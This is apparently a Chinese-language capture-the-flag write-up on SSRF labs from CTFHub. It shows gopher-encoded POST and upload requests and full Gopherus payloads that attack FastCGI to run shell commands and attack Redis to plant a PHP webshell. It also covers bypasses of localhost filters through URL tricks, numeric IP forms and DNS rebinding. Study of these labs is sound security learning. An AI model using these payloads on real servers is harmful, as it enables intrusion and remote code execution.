前言
在做网刃杯时签到题涉及了SSRF,而我却连签到都没做出来,太菜了,特此来学习一下SSRF,希望对师傅们有所帮助
POST请求
进入靶场的时候是什么也没有,我们用御剑进行扫描 得到flag.php文件,此时我们进行访问 此时发现一个框,我们查看源码 发现一个key,,此时我们再用file伪协议来查看文件
url=file:
内容如下
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
所以此时的话我们首先需要构造host为127.0.0.1,此时再检验key是否正确,正确时就输出flag,因此我们此时可以自己做一个post数据包,再用gopher协议进行执行,post数据包如下
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=256e3ae53560c469ad1ccede5b0f557e
注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。
网上通用脚本如下
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=256e3ae53560c469ad1ccede5b0f557e
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
对脚本部分内容的解释
urllib.request 发送http请求
urllib.error 处理请求过程中,出现的异常
urllib.parse 解析url
urllib.robotparser 解析robots.txt 文件
用%0D%0A来代替%0A是因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
此时运行一下即可得到编码后的
gopher%3A
此时直接赋值给参数url执行即可获取flag
上传文件
扫描后发现有个文件名字是flag.php文件,此时我们去访问这个文件 提示只能用本机来访问,此时我们构造如下payload
url=http:
发现是文件上传 此时查看一下文件源码
url=file:
源码如下
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
此时发现确实是文件上传,只要文件大于0就可以成功上传,此时我们去尝试上传个文件,不过此时发现没有提交按钮…,无伤大雅,我们可以自己编辑前端代码创建一个提交按钮,构造代码如下
<input type="submit" name="submit">
然后随便上传个文件上去 此时修改host为127.0.0.1,就构造出了我们需要的post数据包,再运用如下脚本进行二次编码即可
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224170729831654278414248977569
Content-Length: 525
Origin: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
123
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
执行脚本后得到转码后的代码如下
gopher%3A
此时直接赋值给url参数即可
?url=gopher%3A
FastCGI协议
题目说了是FastCGI,应该是让我们利用SSRF攻击FastCGI,有很多理论性的知识,我太菜了,暂时不知如何真正理解这些,对我这个小白来说先学会如何利用更为重要,文章如下 https://blog.csdn.net/mysteryflower/article/details/94386461 https://bbs.ichunqiu.com/thread-58455-1-1.html 这里的攻击需要利用Gopherus工具,Gopherus安装包在这里 然后Gopheus工具需要python2的环境,我是Ubuntu的服务器,安装命令如下
apt install python2
此时的话我们需要把工具放到服务器里,一般直接拉进去就行,然后解压zip文件即可,然后Ubuntu里解压zip的代码是
sudo apt-get install unzip
unzip xxxxx.zip
此时我们即可利用工具进行攻击
python2 gopherus.py --exploit fastcgi
index.php
cat /*
此时将得到的payload进行二次编码(GET一次,curl一次),而后得到
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
将payload直接赋值给url即可
Redis协议
利用Redis未授权访问,实现像目标主机写入Webshell、SSH公钥,或写入计划任务实现反弹shell。
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。
这里我们仍然利用Gopherus来构造payload
python2 gopherus.py --exploit redis
php
<?php @eval($_POST[1]);?>
将得到的payload进行二次编码
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252429%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
赋值给url 此时虽然显示504,但木马已经传上,此时用蚁剑连接即可getshell
URL PASS
这里get到一个知识点,就是平常访问的话,假如我们访问本地,构造的url就是
http:
而其实我们还有一种构造方式,就是这种
http:
以用户名 whoami 连接到站点127.0.0.1,与上面的相同,因此我们这里就可以构造如下payload
?url=http:
数字IP BYPASS
这里的话说过滤了127和172,但是其实我们还有好多绕过方法,构造payload如下
?url=http:
?url=0/flag.php
还有一个php进制转换脚本
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
得到结果
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
因此也可以这样写payload
?url=http:
?url=http:
?url=http:
302跳转 Bypass
按照师傅们说的意思就是
http:
等同于
http:
但我本地测试未成功,我也不是很清楚在考察什么,因为我按照之前的方法直接得到了flag,构造payload如下
?url=http:
DNS重绑定
DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
详细文章 https://www.freebuf.com/articles/web/258365.html 构造payload
?url=7f000001.2f653948.rbndr.us/flag.php
构造网站来源于此 https://lock.cmpxchg8b.com/rebinder.html
|